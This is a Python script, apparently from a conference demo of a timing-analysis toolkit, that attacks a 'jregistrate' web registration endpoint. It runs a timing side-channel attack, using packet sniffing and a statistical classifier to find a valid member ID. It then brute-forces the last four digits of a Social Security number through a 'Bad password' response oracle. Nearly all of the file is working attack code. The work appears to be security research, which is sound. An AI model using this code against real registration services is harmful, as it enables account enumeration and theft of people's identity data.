source: test/blackhat-demo/jregistrate-attack @ 16

#!/usr/bin/env python3
#-*- mode: Python;-*-

import sys
import os
import time
import random
import tempfile
import argparse
import socket
import json
import functools
try:
    import requests
except:
    sys.stderr.write('ERROR: Could not import requests module.  Ensure it is installed.\n')
    sys.stderr.write('       Under Debian, the package name is "python3-requests"\n.')
    sys.exit(1)

VERSION = "{DEVELOPMENT}"
if VERSION == "{DEVELOPMENT}":
    script_dir = '.'
    try:
        script_dir = os.path.dirname(os.path.realpath(__file__))
    except:
        try:
            script_dir = os.path.dirname(os.path.abspath(sys.argv[0]))
        except:
            pass
    sys.path.append("%s/../../trunk/lib" % script_dir)

from nanownlib import *
from nanownlib.train import *
import nanownlib.storage


parser = argparse.ArgumentParser(
    description="")
parser.add_argument('session_data', default=None,
                    help='Database file storing session information')
parser.add_argument('host', default=None,
                    help='IP address or host name of server')
parser.add_argument('port', nargs='?', type=int, default=8080,
                    help='TCP port number of HTTP service (default: 8080)')
options = parser.parse_args()


hostname = options.host
port = options.port
protocol = 'http'


def extractReportedRuntime(headers, body):
    try:
        if 'X-Response-Time' in headers:
            t = headers['X-Response-Time'].split('ms')[0]
            return int(float(t)*1000000)
    except:
        pass

    return None


def sendRequest(data=None):
    method = 'POST'
    path = '/jregistrate/register'
    url = "%s://%s:%d%s" % (protocol,hostname,port,path)
    headers = {"Content-Type":"application/x-www-form-urlencoded"}
    body = (b'member_id='+data.encode('utf-8')+b'&last_four=1111&username=bob&password=1234&conf_pwd=4321')
    req = requests.Request(method, url, headers=headers, data=body).prepare()

    retry = True
    while retry:
        try:
            session = requests.Session()
            response = session.send(req, verify=False)
            #print(repr(response.raw._original_response.local_address))
            reported = extractReportedRuntime(response.headers, response.text)
            retry = False
        except Exception as e:
            sys.stderr.write("ERROR: HTTP request problem: %s\n" % repr(e))
            time.sleep(1.0)
            sys.stderr.write("ERROR: retrying...\n")
        #print(data.encode('utf-8'), reported)
        
    return {'userspace_rtt':response.elapsed.microseconds*1000,
            'reported':reported,
            'local_port':response.raw._original_response.local_address[1]}


def fetch(probedata, data):
    #   http://docs.python-requests.org/en/latest/api/#requests.Response
    result = sendRequest(data)
    result.update(probedata)
    
    return result


def findMaxSampleID(db):
    cursor = db.conn.cursor()
    cursor.execute("SELECT max(sample) FROM probes")
    return cursor.fetchone()[0]


setCPUAffinity()
setTCPTimestamps()
host_ip = socket.gethostbyname(hostname) #XXX: what about multiple A records?
db = nanownlib.storage.db(options.session_data)

cases = {"invalid":"0012-9999"}
guesses = [("0012-%d"%id) for id in range(0,9999) if id != 2019]
random.shuffle(guesses)
num_observations = 100
trim = (0,0)
classifier = "septasummary"
params = {"distance": 25, "threshold": 40094.274}
classifierTest = functools.partial(classifiers[classifier]['test'], params, True)


sid = findMaxSampleID(db) + 1
for guess in guesses:
    print("Collecting samples for:", guess)
    cases["valid"] = guess
    stype = "attack_%s" % guess
    sample_order = list(cases.items())

    sniffer_fp = tempfile.NamedTemporaryFile('w+t')
    sniffer = startSniffer(host_ip, port, sniffer_fp.name)
    time.sleep(0.5) # ensure sniffer is fully ready and our process is migrated

    for obs in range(num_observations):
        random.shuffle(sample_order)
        now = int(time.time()*1000000000)
        
        results = []
        for i in range(len(sample_order)):
            results.append(fetch({'sample':sid, 'test_case':sample_order[i][0],
                                  'type':stype, 'tc_order':i, 'time_of_day':now},
                                 sample_order[i][1]))
        db.addProbes(results)
        db.conn.commit()
        sid += 1

    time.sleep(2.0) # Give sniffer a chance to collect remaining packets
    stopSniffer(sniffer)
    associatePackets(sniffer_fp, db)
    sniffer_fp.close()
    num_probes = analyzeProbes(db, trim=trim)
    print("num_probes: ", num_probes)

    if classifierTest(db.subseries(stype, "valid")):
        print("Found valid member_id: ", guess)
        break


def guessSSN(member_id, last_four):
    method = 'POST'
    path = '/jregistrate/register'
    url = "%s://%s:%d%s" % (protocol,hostname,port,path)
    headers = {"Content-Type":"application/x-www-form-urlencoded"}
    body = (b'member_id='+member_id.encode('utf-8')+b'&last_four='+last_four.encode('utf-8')+b'&username=bob&password=1234&conf_pwd=4321')
    req = requests.Request(method, url, headers=headers, data=body).prepare()
    session = requests.Session()
    response = session.send(req, verify=False)

    if 'Bad password' in response.text:
        return True
    else:
        return False

    
print(guessSSN('0012-5969', '4298'))
sys.exit(0)

for last_four in range(9999):
    if guessSSN(guess, "%4d" % last_four):
        print("Found valid SSN last four digits:", last_four)
        break